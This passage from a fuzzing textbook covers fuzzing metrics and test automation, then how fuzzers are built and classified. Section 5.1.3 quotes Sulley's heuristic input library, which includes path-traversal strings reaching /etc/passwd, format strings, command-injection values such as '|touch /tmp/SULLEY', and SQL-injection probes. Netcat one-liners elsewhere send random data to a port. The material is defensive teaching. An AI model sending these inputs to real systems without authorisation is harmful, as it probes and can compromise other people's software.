simplest of security mistakes can be found by search- ing for the use of function calls that are known to be prone to errors, such as strcpy(), but not all mistakes are that easy to catch. Also, code auditing tools such as RATS, ITS4, flawfinder, pscan, and splint, and their commercial counterparts,19 use different criteria for finding mistakes such as unsafe memory handling, input validation, and other suspicious constructs. This variance in defect density depends on the interpretation of false positives and false negatives in the code auditing process. A false positive is an issue that is labeled as a (security-related) defect, but after a closer study turns out to be an acceptable piece of code (based on the used programming policy). False positives are created due to inconsistencies in programming practices. Either the enforced coding policies have to be taught to the code auditing tool, or the coding practices could be adapted from the tool. A more challenging problem is related to false negatives, which basically means a mistake in the code was missed by the code auditing tool. The definitions of false positive and false negative are also subjec- tive, as some people define them based on the exploitability of the security flaws.20 To some, a bad coding practice such as using an unsafe string copy function is acceptable if it is not exploitable. Yet to others, all code that can pose a risk to the system is to be eliminated regardless of whether it can actually be exploited. The latter is safer, as it is very common to adapt code from noncritical projects into more critical areas, propagating potential weakness in the process. Known vulnerability density as a metric is a modified variant of the defect den- sity, with weights added to indicate the significance of the found issues. All defect density metrics are estimates that are based on proprietary metrics of the code audit- ing tools. Until the problems with the accuracy are sorted out, the defect density met- rics given by code auditing tools are valuable as guidance at best. The Software Assurance Metrics and Tool Evaluation (SAMATE)21 project has proposed using a metric called “soundness,” which attempts to estimate the impact of false positives and false negatives to the defect rate. This estimate is based on a calibration, a com- parison of the code auditing tool to a well-performed manual code review. Metrics based on code coverage have also been used in analyzing the efficiency of fuzzers. In a master’s thesis published in 2004 by Tero Rontti on this topic for Codenomicon and University of Oulu, code coverage analysis of robustness tests were applied to testing various open-source implementations of TLS and BGP.22 The research indicated that in some areas fuzzing can potentially have better test code coverage than traditional testing techniques. Interestingly (but not surprisingly), 4.3 Defect Metrics and Security 131 19One of the first widely used and security aware commercial run-time analysis tools for detect- ing security flaws from the code was called Purify, launched around 1991 by Pure Software, later acquired by Rational Software. Today new emerging companies such as Coverity, Klocwork, Ounce Labs, and Fortify appear to dominate the market with both off-line (static) and run-time (dynamic) analysis tools. 20http://weblogs.mozillazine.org/roc/archives/2006/09/static_analysis_and_scary_head.html 21SAMATE: Software Assurance Metrics and Tool Evaluation. http://samate.nist.gov 22T.T. Rontti. (2004). Robustness Testing Code Coverage Analysis. Oulu, Finland: University of Oulu, Department of Electrical and Information Engineering. Master’s Thesis, 52p. fuzzing had much better test coverage than the OpenSSL conformance test suite, for example, in testing the TLS interface. However, fuzzing did not test all the code that conformance testing would test, nor was the overall coverage anywhere close to 100%. This is because fuzz tests typically cannot reach user interface or configura- tion routines inside the tested software, for example. Also, while the focus of confor- mance tests is in trying out all potential features, fuzz tests typically focus on fuzzing around a particular subset of the capabilities of the tested software. Fuzzing is neg- ative testing—i.e., it has better chances of exploring different error handling routines compared to typical feature tests. But code coverage alone does not indicate the qual- ity of the fuzzer. It can indicate poor fuzzing, if coverage is suspiciously low espe- cially around the input parsing portions of the code. But even good code coverage does not indicate that all accessible code blocks were tested with a large number of mutations. This would require dynamic analysis of the system behavior. It seems the most important discovery from Tero’s research is that code coverage is an excellent metric for “attack surface,” i.e., when you perform a combination of positive feature testing and negative fuzz testing against the system, you will discover the lines of code that are security critical and accessible through that specific interface. This does not guarantee that the entire attack surface was touched by the tests, but it will indicate that at least that piece of code can be accessed by an attacker. While tra- ditional QA did not touch large parts of code, adding fuzzing to the mix of testing techniques increased the amount of total code touched during the process; further- more, it hit the exact portions of code that will have to withstand remote attacks. This metric for measured attack surface could be useful to white-box testers who have the challenge of auditing millions of lines of code. Prioritizing the code auditing prac- tices around the attack surface could help find those flaws that fuzzing might miss. Any metric of what code can be exploited through different interfaces can prioritize the focus of those analysis tools, and therefore improve the code auditing process sig- nificantly. This is an indication of the real and measured attack surface. Alvarez and Guruswamy23 note that discovering the attack surface prior to fuzzing could be helpful. In fact, that leads to another important observation—when doing interface testing we will never reach 100% code coverage. Even if we would, we would not really prove the discovery of all vulnerabilities in the touched code. It would be more accurate to say that 100% code coverage of the attack surface does not equal zero vulnerabilities. The distinction is important because the attack surface is typically only a fraction of the total code. Determining the total functions or basic blocks that lie on an attack surface can be a challenge. Consider this example: If we find that 5 out of 100 total functions read in command line arguments and 15 out of 100 functions handle network traffic, we simply take the ratio: • Local attack surface = 5/100 or 5% of total code • Remote attack surface = 15/100 or 15% of total code A remote fuzzing tool that hits 15 functions would be said to have hit 100% of the remote attack surface. But did it hit all combinations of paths with all combi- 132 Fuzzing Metrics 23Personal communications and email discussion on the Dailydave list: http://fist.immunitysec.com/ pipermail/dailydave/2007-March/004220.html nations of data? And did it really test all the subfunctions and libraries where that tainted data was handled? 4.3.7 Process Metrics Process efficiency needs to be monitored when deploying fuzzing into your devel- opment processes or to a regularly conducted vulnerability process. The following metrics might apply to your fuzzing deployment: • Assessment frequency: Measures how often security quality assurance “gates” are applied to the software development lifecycle. • Assessment coverage: Measures which products are tested with fuzzers; i.e., for regression testing you can check that all releases will go through a sys- tematic fuzzing process before release. 4.4 Test Automation for Security How does fuzzing as part of test automation help reduce the total time used in test- ing? Does it impact the timelines of developers? How does automation help with repeatability? In test automation we need to be able to show that the same set of tests, potentially augmented with some new tests, will be executed each time the fuzzing process is launched through the test automation framework. Automation has to be repeatable or it is worthless. Test automation does not necessarily reduce human error if there is manual work involved in the repetition of the tests. One small problem in the automation process could lead to missing bugs that would have been covered earlier. This could result from, for example, a change in the communication interface or the data formats being fuzzed. There are pros and cons to both prede- fined tests and dynamically changing tests from the test automation perspective. From a QA standpoint the goals of automation are 1. Increase the amount of tests you do in a set timeframe when compared to manual testing; 2. Liberate your testers to do more of the interesting testing and avoid man- ual repetition of simple tasks; 3. Cost savings related to both the test efficiency and the direct costs of tools and test integration. Increasing the number of tests you perform in an automated fashion will speed up your testing process, just as doing the same tests with more manual intervention would slow the process down. In fuzzing, it is not really a choice of doing it man- ually or automatically, it is whether you do it at all. Fuzzing will liberate your testers to do more interesting testing activities, which likely includes such things as detailed analysis of the test results. Fuzzing requires repeatability and speeds up the development process. Without people creating the tests, the tests have a chance of having better coverage, since they do not depend on “human knowledge.” A good security tester is always good at what he or she does. But unfortunately, most com- 4.4 Test Automation for Security 133 panies do not have enough talented security testers and never will have. Therefore, the testing skills need to be built into the test automation tool and must not depend on the competence of the tester. Common arguments against test automation are based on experiences with bad test automation products. This is because the definition of test automation by many testing vendors is completely wrong. Some test automation frameworks require more work to initially build the tests than is saved with repeated test execution. In fact, most test automation methods and techniques follow all the worst practices of test automation. For example, some people think that security testing is the same as monkey test- ing—i.e., randomly trying all types of inputs. To those people, test automation is about trying more and more random inputs in a feeble attempt to increase test cov- erage. This approach is doomed to fail, because adding more tests does not guaran- tee better tests. Compared to just adding more random testing, manual testing by a talented security expert is definitely better, because it is based on a process that adapts to change. To some, test automation means repeating the same test case over and over again. This applies to many test automation frameworks that focus on conformance or performance issues. In fuzzing, each test case should be unique. The purpose is not to repeat, but to create many unique test cases that would be impossible to cre- ate using manual testing. The same also applies to statements related to automat- ing testing actions that are repeated over and over again in the test process. This is irrelevant to fuzzing, because the entire process needs to be repeated, instead of just one single test case. Running millions of tests with any other means but test automation would take a significant amount of time to execute and analyze. In relation to fuzzing (and fuzzing only!), test automation also reduces human error in test design, implementation, execution, and analysis. There can be human er- rors in fuzzer development itself, because a test automation tool is still a software product and can have flaws. The majority of existing test automation frameworks for performance testing and conformance testing depend on complex user configu- ration, and one mistake in the configuration can invalidate the entire test run. Many testing frameworks also leave the actual test design for the tester. A fuzzer frame- work is often a test design framework if the user needs to parameterize the protocol elements that are fuzzed. The resulting test suite should still be repeatable without user involvement. Some fuzzers on the other hand have predefined intelligence and have reduced the possibility of the tester to make mistakes in the test setup. 4.5 Summary While building fuzzers isn’t always pleasurable, the act of fuzzing is fun! How- ever, not everyone is excited by the hunt for zero-day flaws and exploiting those found vulnerabilities. One of the most difficult issues with fuzzing is trying to convince others that it is an important part of a vulnerability assessment process and that it should be integrated into existing quality assurance processes. You might understand the importance of fuzzing, but cannot convince others to see 134 Fuzzing Metrics its benefits. To others, fuzzing is seen as an unnecessary cost and potential delay in the product launch. Too many times we have heard people question fuzzing with questions like • “Why should I use fuzzing? This is not our responsibility!” • “Why do you look for security problems in our products?” Other questions that you might encounter are related to the problems that fuzzers find. Fuzzers are not silver bullets in the sense that they find all security problems. Explaining that fuzzers are just one more tool in the tool chest of secu- rity experts and quality assurance professionals is important. This lack of under- standing for the methodology and findings can reveal itself in questions like these: • “Can I find distributed denial of service problems with fuzzing?” • “Can I find the famous bug that the Code Red worm exploited?” • “Surely, that would never happen in real-life usage scenarios, would it?” • “Is that really exploitable? Isn’t it denial of service only?” • “But I am already doing testing. Why should I use fuzzing?” • “Aren’t these problems covered with our code auditing tools?” Finally, choosing the right tool for the right task is sometimes difficult. How do you compare the various tools, and how do you know which tool is the most use- ful tool for each task during the product life cycle? You should be prepared to pro- vide insight to your colleagues on product comparisons and the costs related to various fuzzing approaches. Relying on the marketing and sales skills of various fuzzing vendors or on the hype created by various hacker community tools can get you distracted from the real purpose of why you became interested in fuzzing in the first place. Be prepared for questions like • “What is the best fuzzing tool that I can use?” • “What is the cheapest fuzzing tool that I can use?” You should be prepared to give answers to questions like these to your super- visors, to your customers, or to the manufacturers that do not still “get it.” Fuzzing is a fascinating technology, and all fuzzing approaches will definitely be better than none at all. Still, fuzzing is not about technology, but rather, the final results from the tests. In this chapter we explained some reasoning behind integration of fuzzing into your existing quality assurance and vulnerability analysis processes. As with secu- rity in general, fuzzing starts with a threat analysis of the target system. Fuzzing is always a form of black-box testing in the sense that the tests are provided to the sys- tem under test through different interfaces. These interfaces can be remote or they can be local interfaces that only local users can abuse. Fuzzing at its best is a proac- tive technique for catching vulnerabilities before any adversaries will find them and exploit them. The earlier they are found, the cheaper it is to fix them. Costs related 4.5 Summary 135 to vulnerabilities caught late in the product life cycle might initiate crisis communi- cation with chaotic results, and a lot of unexpected costs related to the actual dis- covery, remediation, and finally patch deployment. Whether a manufacturer chooses reactively to buy vulnerability data from bug bounty hunters or subcon- tract security auditing of released product to security professionals is a business decision. Our goal is to convince them that proactive tools should be used instead of this last-minute approach. With adequate expertise it could be beneficial to build your own fuzzer, or to integrate an existing fuzzer product into your product devel- opment. We explored some case studies on how the costs for each of these options could be estimated before jumping into conclusions on the available choices. Fuzzing is about test automation at its fullest extent. People used to traditional test automation might think about complex test design frameworks that are time consuming to use and that produce difficult-to-measure results. Fuzzers, on the other hand, can be fully automated, in the sense that you just “press play,” watch the fuzzer run, and wait for the results. Test automation comes in many flavors and requires understanding of how it works before dedicating too many resources into building a new one on your own. One problem with security is that engineers often don’t even know or under- stand security vulnerabilities. How can a virus misuse a buffer overflow problem in a product? How critical is a denial of service problem? What is a buffer overflow/ format string vulnerability/null pointer deference anyway? Fuzzers can be inte- grated into the development process with or without this knowledge. Think about explaining to a developer why he should never use the strcpy function in his pro- gram. Then think again about showing him a crash by sending a long string of char- acters with that vulnerability in the software. Fuzzing has no false positives, meaning that every single flaw found with fuzzing is exploitable to some level. It might not allow remote code execution, but this is still a real bug. A crash is a crash. A bug is a bug. Developers will immediately rush into fixing crash-level flaws or memory leaks in their software when told to do so. They do not necessarily need to know about the difference between stack and heap overflows or the exploitability of the flaws. Still, all found issues need to be prioritized at some level. Some of you might already be familiar through experience with what happens if you suddenly report hundreds of remotely exploitable flaws found using fuzzing tools to a manufacturer that has never had a security problem in its lifetime. Now that we understand why we need to fuzz, and how we can communicate the importance of fuzzing, we can study the actual techniques of fuzzing with com- pletely new eyes. Compare the techniques presented later with the metrics we explored here and hopefully you will find the technique that best suits you. 136 Fuzzing Metrics C H A P T E R 5 Building and Classifying Fuzzers In this chapter we will present fuzzer construction details. Endless methods to cre- ate and deliver semi-valid data could be contrived; we will hit the most prevalent techniques. Available open source tools will be described. A comparison of com- mercial and open source tools will be held in Chapter 8. We begin by defining the two primary types of fuzzers. These have been called full-blown and capture-replay when dealing with network fuzzers, but generation and mutation are more generi- cally accepted terms that also apply to file fuzzing. File fuzzing has continued to be a hot topic as network protectors1 and network application designers have become more security conscious.2 Client-side attacks, while requiring an element of social engineering,3 have become like the previously more fertile grounds of network dae- mon auditing from years gone by. 5.1 Fuzzing Methods Fuzzer test cases are generated by the input source and attack heuristics and ran- domness. Test cases could be developed manually, although this is not the preferred method since many test cases will be needed. Generally, test cases come from either a library of known heuristics or by mutating a sample input. Input source refers to the type of fuzzer being used. There are two main types: generation and mutation.4,5 The terms intelligent and nonintelligent are also used. A generation based fuzzer is a self-contained program that generates its own semi-valid sessions. (Semi-invalid has the same meaning in this context.) A mutation fuzzer takes a known good net- work session, file, and so on and mutates the sample (before replay) to create many semi-valid sessions. Mutation fuzzers are typically generic fuzzers or general pur- pose fuzzers, while generation fuzzers tend to be specific to a particular protocol, 137 1Firewalls and the like. 2Microsoft’s big security push: http://msdn.microsoft.com/msdnmag/issues/05/11/SDL/default .aspx 3In this case, tricking a user into browsing to a malicious website or opening a malicious file is the social engineering. 4A third method would be some type of genetic/evolving technology. One such algorithm is described in Chapter 7. 5Peter Oehlert. “Violating Assumptions with Fuzzing,” IEEE Security & Privacy, (March/April 2005): 58–62. application, or file format. Understanding the nature of the attack heuristics, how this mutation or generation is accomplished, is important. 5.1.1 Paradigm Split: Random or Deterministic Fuzzing It is appropriate at this point to discuss in some detail the ways these two different types of fuzzers work and the advantages and disadvantages of both. For example, mutations of a base file are often random—a mutation fuzzer. Mutation fuzzers don’t understand anything about the underlying format, including where to add anomalies, any checksums, and so on. However, a description of a file format in SPIKEfile (defined later) would replace variables (defined later) with fuzz strings taken from a file. Each element would be fuzzed one at a time—a generation/intel- ligent fuzzer. Of course, it takes much more work for the tester to describe all these “variables” to the tool. Thus, randomness (dumbness) can be an interesting issue for fuzz testing. Some believe that delivering random data to the lowest layers of each stage of a protocol or API is the goal. Others prefer protocol construction and predefined test cases to replace each variable (intelligent fuzzing). Charlie Miller gave a talk at DEF CON 2007 describing his experiences with the two approaches. He measured intelligent fuzzing to be around 50% more effective but requiring 10 to 100 times the effort by the tester.6 Having made some superficial statements about these two types of fuzzing (detailed in a later case study), the randomness being discussed sometimes varies. We’re not always talking about a tool that sends completely random data. Such a tool is unlikely to find anything interesting in a modern application (the protocol will be perceived as “too wrong” and be quickly rejected). Although even this approach sometimes works, as Barton Miller (no relation to Charlie Miller) found7 when testing command line applications. Such a simple test could be conducted via the following Unix command string: while [1]; do cat /dev/urandom | netcat –vv IPaddr port; done In this context, by random we might mean: Random paths through application code are executed due to the delivery of semi-stochastic recombinations of the given protocol, with some of the protocol fields modified in a semi-stochastic way. For example, this might be done by making small random changes to a network session to be replayed or by recombining parts of valid files. Another example is a network fuzzer that plays the last protocol elements first and the first last; a semi-random fuzzer that shuffles “command strings” (defined later) and variables. Again, the two different schools of thought differ significantly in how test cases are constructed and delivered. Consider a simple FTP server. One fuzzer might ran- domly pick valid or invalid commands, randomly add them to a test case, and choose random data for the arguments of those commands. Another fuzzer might 138 Building and Classifying Fuzzers 6See section 5.1.5, Intelligence Versus Dumb Fuzzers. 7Barton P. Miller, Lars Fredriksen, Bryan So, “An Empirical Study of the Reliability of Unix Util- ities,” Communications of the ACM, 33(12)(December 1990):32–44. have precooked invalid data in a library, along with a series of command sequences. Invalid data is supplied with each command in some repeatable manner. Defining a protocol and fuzz spots could be accomplished with a tool like SPIKE or Sulley. Both approaches are valid ways to test. The goal of this chapter is to help one cre- ate both types of fuzzers and understand the features of both, as well as when it is most appropriate to use one or the other (or both). There are pros and cons to each approach. The randomized approach may hit dark corners that the deterministic approach might miss because it’s impossible to think of every scenario or combination of commands and data. Plus, it’s trivial to set up and execute. The field of fuzzing was based on this premise, and that’s why traditional testing was insufficient. Particularly in the case of flipping bits in a file, this is an easy way to fuzz that is surprisingly effective. However, regression testing can be difficult for random fuzzers, if not properly seeded. Note: to fully fuzz a vari- ety of fields could theoretically take forever. For example, imagine that one of the fields is an integer. In this case to try every value, one would have to supply 2^32 different values. In practice, file-parsing routines have become complicated enough (complication tends to equal a higher rate of errors) that randomly flipping bytes throughout the file has been effective. Particularly effective have been boundary val- ues like 0x0000000 and 0xffffffff, which will be discussed later. The intelligent approach can be tuned to achieve more reliable code coverage. Application robustness is of the utmost importance, as is security. In general, the more deterministic fuzzing approach will perform better.8 A hybrid of these approaches could be created. Many mature fuzzers do include elements of both. For example, instead of completely random data, fuzzing heuris- tics would likely be applied to generate data that has been known to cause problems in the past. Long strings, format strings, directory traversal strings (../../../../), for example, are all robustness test heuristics and will be covered more fully later in this chapter. Some tools attempt to incorporate both approaches. For example, consider GPF.9 GPF is basically a mutation-based fuzzer. It begins with a legitimate network packet capture. It then adds anomalies to this capture and replays the packets. This is the definition of a mutation-based fuzzer. However, upon further inspection, this classification begins to break down. It does not add anomalies randomly. Instead, it parses the packet in some manner, perhaps as a generic ASCII- or binary- based protocol, and makes mutations of the packets that respect this protocol, much like an intelligent fuzzer. Furthermore, it is possible to extend GPF with the use of tokAids that completely define the structure of the packets. At this point, GPF begins to look pretty intelligent. The biggest difference between GPF with a custom-written tokAid and generation-based fuzzer is that GPF can still only add anomalies to the packets given. So, if a particular feature is not exercised by those packets, GPF will never test that code. On the other hand, a generation-based fuzzer, like Sulley, will completely understand the protocol and not just the parts 5.1 Fuzzing Methods 139 8Again, see section 5.1.5. 9Sulley is available at www.fuzzing.org. The General Purpose Fuzzer (GPF) is available at www .vdalabs.com/resources for which the packet capture happened to consist. Then again, Sulley with a poorly written protocol description will not perform very intelligently. So, in using GPF, the weak link could be the packet capture. But with Sulley, the weak link could be the fuzzer programmer. 5.1.2 Source of Fuzz Data There are four main ways this semi-valid data can be created: test cases, cyclic, ran- dom, or library. • Test cases refers to a fuzzer that has X number of tests against a particular standard. This type of fuzzer will only run against the protocol it was created to fuzz. This type of fuzzer will send the same tests each time it is run and typ- ically keeps a good record of each test. This type of test tool most closely resembles traditional automated test tools or stress testing tools. The number of tests is relatively small compared to more random methods, but each test has a specific purpose. Typically, these are generation fuzzers. These are often hand-tuned by a protocol expert. Many commercial fuzzers operate this way. • Another way to send semi-valid input is to cycle through a protocol by insert- ing some type of data. For example, if we want to search for buffer overflows in the user name we could cycle data sizes from 1 to 10000 by 10 bytes: [Client]-> "user ja<1 A>red\r\n" [Client]-> "user ja<11 A's>red\r\n" [Client]-> "user ja<21 A's>red\r\n"10 ... This method yields a deterministic number of runs and thus a deterministic run-time. One might argue that only fixed buffers around known boundaries should be tested, but off-by-one errors11 are a known issue. Also, an “anti- hammering”12 defense may limit the number of connections from a certain IP, etc. This can often be disabled such that it will not interfere with testing. • One could also choose to keep randomly inserting data for a specified period of time: [Client]-> "user ja<10000 A's>red\r\n" [Client]-> "user ja<12 A's>red\r\n" [Client]-> "user ja<1342 A's>red\r\n" ... 140 Building and Classifying Fuzzers 10The ‘A’s shown here are just an example. Randomizing the hex number might be a better approach, although the classic 41414141 in EIP is still preferred by some analysts as a quick way of noticing a problem if being debugged live. 11See Chapter 2, off-by-one. As a quick example, if a static buffer is of size 100 bytes sending exactly 101 bytes would be needed to trigger the bug in some vulnerable coding scenarios. 12Connection-limiting technologies common in some networked applications or defense mechanisms. Random fuzzers can be repeatable if seeded by the user. This is critical for regression testing. • Library refers to a list of known useful attacks. Each variable to be tested should be fuzzed with each type of attack. The order, priority, and pairing of this search could be deterministic, random, or weighted. Mature fuzzers will typically combine many of the above techniques. 5.1.3 Fuzzing Vectors Once a fuzzer knows where in a file or network stream it wishes to add “bad” data, regardless if it is because it created the data from scratch or dissected a valid input, it needs to know what types of data to add. As we’ve discussed, there are infinitely many possibilities here. The goal of selecting good fuzzing vectors—i.e., heuristics—is in making the number of anomalies added to create fuzzed test cases as small as possible while not greatly reducing the effectiveness of the test cases. For example, if an integer is supplied to a program that controls the size of a copy, generally there is some cut-off point where a large enough number will cause a fault when a smaller number will not. In slightly more complex exam- ples, there may be a lower and upper bound on the integer that will detect the vul- nerability. In either case, by choosing a few integers intelligently, it is possible to usually find such vulnerabilities without sending 2^32 test cases each time an integer is used. Of course, there will always be some bugs missed when such sim- plifications are made, but until we have faster computers and more time, it is a necessary tradeoff. As an example, let us examine the primitives.py python file that comes with the Sulley framework (more on this later) and defines a heuristic library and how the framework fuzzes. Specifically, looking at the library of fuzzed strings it has reveals some of the following examples: # strings mostly ripped from spike "/.:/" + "A"*5000 + "\x00\x00", "/.../" + "A"*5000 + "\x00\x00", "/.../.../.../.../.../.../.../.../.../.../", "/../../../../../../../../../../../../etc/passwd", "/../../../../../../../../../../../../boot.ini", "..:..:..:..:..:..:..:..:..:..:..:..:..:", "\\\\*", "\\\\?\\", "/\\" * 5000, "/." * 5000, "!@#$%%^#$%#$@#$%$$@#$%^^**(()", "%01%02%03%04%0a%0d%0aADSF", "%01%02%03@%04%0a%0d%0aADSF", "/%00/", "%00/", "%00", "%u0000", 5.1 Fuzzing Methods 141 # format strings. "%n" * 100, "%n" * 500, "\"%n\"" * 500, "%s" * 100, "%s" * 500, "\"%s\"" * 500, # command injection. "|touch /tmp/SULLEY", ";touch /tmp/SULLEY;", "|notepad", ";notepad;", "\nnotepad\n", # SQL injection. "1;SELECT%20*", "'sqlattempt1", "(sqlattempt2)", "OR%201=1", # some binary strings. "\xde\xad\xbe\xef", "\xde\xad\xbe\xef" * 10, "\xde\xad\xbe\xef" * 100, "\xde\xad\xbe\xef" * 1000, "\xde\xad\xbe\xef" * 10000, "\x00" * 1000, # miscellaneous. "\r\n" * 100, "<>" * 500, # sendmail crackaddr (http://lsd-pl.net/other/sendmail.txt) These strings all exist due to a particular vulnerability type or specific bug uncovered in the past. These strings are added each time a string is fuzzed in Sulley, along with a number of long strings of the following lengths: 128, 255, 256, 257, 511, 512, 513, 1023, 1024, 2048, 2049, 4095, 4096, 4097, 5000, 10000, 20000, 32762, 32763, 32764, 32765, 32766, 32767, 32768, 32769, 0xFFFF-2, 0xFFFF-1, 0xFFFF, 0xFFFF+1, 0xFFFF+2, 99999, 100000, 500000, 1000000]. 5.1.4 Intelligent Fuzzing Fuzzers can become as fancy as the imagination will allow. This is sometimes called the intelligence (domain knowledge) of a fuzzer or intelligent fuzzing. Consider a fuzzer that randomizes the test type, position, and protocol leg in which to place the attack: 142 Building and Classifying Fuzzers [Client]-> "us<50000 \xff's>er jaed\r\n" -------------------loop 1--------------- [Client]-> "user ja<12 %n's>red\r\n" "user Ok. Provide pass.\r\n" <-[Server] [Client]-> "\x34\x56\x12\x...\r\n" -------------------loop 2--------------- [Client]-> "user ja<1342 \x00's>red\r\n" -------------------loop 3--------------- [Client]-> "user jared\r\n" "user Ok. Provide pass.\r\n" <-[Server] [Client]-> "\x04\x98\xbb\x...\r\n" -------------------loop 4--------------- ... We note that valid data, such as “user jared,” is transformed into semi-valid data, such as “usAAAAAAAAAAAAAAAAAAAAAAAAer jared.” The insertion could be done by working from a capture file or from internal generation of the protocol (or possibly a combination of the two). Intelligent versus unintelligent is always a tradeoff. Creating intelligence takes more work and typically begins to assume things about the protocol. For example, suppose our intelligent fuzzer assumes that the user command must always be correct and be the first command; therefore, there is no need to test it. Well, 98% of the time that’s a true assumption. But what about the odd case in which a particular implementation reads in an arbi- trary amount of data until the first space character? Or what if a command prior to user hangs the internal state machine? A balanced approach seems best: intelli- gence enough to decrease the run-time, but not so much that it weakens the fuzzer (i.e., makes the same poor assumptions the programmer and original tester did), and possibly costs too much to produce.13 Another useful extension of intelligent fuzzing is for protocols that require cal- culations to be made on data that is sent or received. For example, an Internet Key Exchange14 (IKE) fuzzer would require the ability to deal with the cryptography of IKE if the fuzzer ever hopes to advance 15 into the IKE protocol. Because of the complex nature of IKE, capture-replay (session mutation) is made very difficult. IKE would be a good candidate for a generation fuzzer with intelligence. Still another intelligent feature that could be built into fuzzers is known as pat- tern matching. In the above heuristic examples, a pattern-matching fuzzer could automatically find the strings in a capture file and build attacks based on that. It could also automatically find and fix length fields if the fuzzer inserts data.16 5.1 Fuzzing Methods 143 13One potential problem here is that finding a balanced approach is difficult. SPIKE doesn’t sup- port things that randomizers do. It’s best to fuzz with both technology types when possible. 14IKE is an IPsec key exchange protocol. 15There may be other ways to fuzz before encryption. For example, see the section on memory fuzzing. 16Dave Aitel, “The Advantages of Block-Based Protocol Analysis for Security Testing,” February 4, 2002. New York. www.immunitysec.com/downloads/advantages_of_block_based_analysis.txt Boundary conditions should be noted as important and included in any good pat- tern-matching library. “If a given function F is implemented in a program and the function has two parameters x and y, these two have known or unknown bound- aries a < x < b and c < y < d. What boundary testing does is test the function F with values of x and y close to or equal to a, b, c and d.”17 Thus, if our intelligent fuzzer finds a variable with the value 3, it might first exercise the program under test with the values 2 and 4. Trying other key numeric values such as zero, negative, large positive, etc. might be the next phase. Finally, wilder data such as wrong numeric systems, non-numeric, special characters, for example, would complete a sampling of each data quadrant without trying every possible value. Does this approach the- oretically guarantee the discovery of the magic value (if one exists) that exercises a bug? No, but this is an example of how attack heuristics balance run-time and effectiveness. 5.1.5 Intelligent Versus Dumb (Nonintelligent) Fuzzers These words get thrown around a lot in the fuzzing world. By this people indicate the level of interface knowledge a fuzzer possesses. Consider a file fuzzer that just randomly flips bits in a file. Another might fully understand what each field in the file represents and change things according to the RFC. Fully dumb fuzzing results in lower code coverage, and fully smart 18(i.e., no invalid data or options) will be completely RFC compliant and uncover no bugs. In general, fuzzers shoot for the area that resides somewhere inbetween. Intelligence costs more to create. But an element of randomness could lead to corners determinism might miss. Another factor to consider here is the target under test. Typically, totally ran- dom stuff sent to a network server won’t uncover much, but flipping a few bytes in files has been proved very effective. Start easy and work up to the more intelligent fuzzing. For optimal results, try all approaches if time permits. (We’ll see in Chap- ter 8 that this is exactly the best strategy.) Finally, while in fuzzing “intelligence” is a word used to describe the level of protocol knowledge the fuzzer possesses, this does not necessarily mean it is “smart.” For example, a fuzzer with perfect protocol knowledge might blindly send test cases—not very smart. Another fuzzer, perhaps even a “dumb,” mutation- based fuzzer, might actively see the code paths executed in the target and make adjustments accordingly, which is very smart. EFS does exactly this, and we’ll learn more about it in Chapter 7. 5.1.6 White-Box, Black-Box, and Gray-Box Fuzzing As we read in Chapter 3, white-box testing infers source code knowledge, such as source code auditing. Black-box testing refers to tests run against a complied ver- sion of the code. There are countless ways such methods could be combined to 144 Building and Classifying Fuzzers 17Felix ‘FX’ Lindner speaks out on fuzzing. “The Big Fuzz,” The Sabre Lablog, www.sabre-labs .com, March 13, 2006. 18Some may consider “smart” as meaning complete knowledge of the format, rather than 100% compliant. achieve slightly better results. For example, we might analyze the source to create better black-box tests. Or, if we instrument the source code while our black-box tests are running, we could easily calculate code coverage. What should we call such testing techniques? They might be called gray-box testing since there is a blending of the two techniques. We believe that gray-box testing includes black-box testing plus the use of run-time information to improve testing. An interesting hybrid example of gray-box testing could be illustrated by fuzzing a web application in which by looking at the code, perhaps a CGI script,19 one can find hidden parameters and thus obtain knowledge about the application to build a tailored fuzzer for that interface. Again, one aspect of gray-box testing is that one can better understand the internals of an application by checking the code. Consider the following URL: http://www.Jesus.com/app.cgi?param1=true Suppose that the web form also contains “param1” as the only parameter. But also suppose that in the source code of the CGI script one could see immediately that there are other parameters accepted but not implemented in the web form. Those should also be fuzzed. The same method of thinking applies to file formats. An optional feature/ele- ment might not be implemented in all particular applications and might also not show in a sample file that could be used as a template for fuzzing. But by studying the application code or specification, you may be able to detect optional or propri- etary features, which should be tested as well. 5.2 Detailed View of Fuzzer Types20 In this section some of the many fuzzer possibilities will be examined in greater detail. For certain categories an open-source example may be shown. There are countless ways and tools for fuzzing. The tools examined are not necessarily the best, but do display the properties of the type under discussion. 5.2.1 Single-Use Fuzzers Fuzzers written for a particular task are sometimes called one-offs. A one-off is sim- ply that: A fuzzer built quickly for a particular task. Suppose you encounter a sim- ple network protocol something like this: Client sends Æ "user jared\r\n" "OK send password.\r\n" ¨ Server sends 5.2 Detailed View of Fuzzer Types 145 19The Common Gateway Interface (CGI) is a protocol for connecting external application soft- ware with a web server. Each time a browser request is received, the server analyzes the com- mand request and returns the appropriate output in the form of headers. 20Matthew Franz, www.threatmind.net/secwiki/FuzzingTools, List of Fuzzer tools. Client sends Æ "password mylamepass\r\n" "Logged in. Begin cmds.\r\n" ¨ Server sends Suppose all you want to do is fuzz the username with 1,000 bytes. In this example, it seems silly to download a fuzzing framework, work in XML files, enter 15 com- mand line arguments for GPF, etc. Instead, you might quickly execute something like: perl –e "print 'user '.'a'x1000.'\r\n'" | nc localhost 4000 This little script will send “user <1000 a's>” to the service listening on the local IP address on port 4000. Or, suppose you find yourself auditing a large function that accepts a large number of arguments. You don’t happen to have a generic or mutation application or API fuzzer so you contrive a simple setup: • Start this process with a debugger such as GDB. • Break at a particular execution address. • Randomly mutate the arguments before the function is called. • Record if a segmentation fault occurred after the call is made. • Repeat. This isn’t the best way to test an API, but it works and is quick and easy to set up. The other thing to notice is that gray-box testing is in use here. White-box test- ing analyzes source code. Black-box testing exercises a target program or process without examining any code, whether source code or binary/assembly code. Gray- box testing falls in between by allowing access to binary code. In this setup, you’d be required to either first (or perhaps later depending upon the results) determine if this function is remotely accessible. RPC might be a good candidate for this type of research. It seems that busy penetration testers or security auditors tend to create a lot of simple fuzzers in this manner. The fruit of such labor is not to be underestimated. One reason for this is that “one size fits all” generic fuzzers may not be tuned well for any one application, particularly if the platform/process under test has special requirements or is tricky to fuzz like a pro- tocol utilizing a custom encryption library. 5.2.2 Fuzzing Libraries: Frameworks A fuzzing API, library, or framework is typically a set of routines that can be used to quickly write a fuzzer for whatever is currently being audited. Frameworks are often used to facilitate the easy and quick creation of one-offs. Peach Fuzzer Frame- work (peachfuzz), by Michael Eddington, and Spike, by Dave Aitel, are a couple examples that come to mind. Both include routines for quick fuzzer creation. The fundamental idea of these kinds of tools is code reuse. There are certain things every 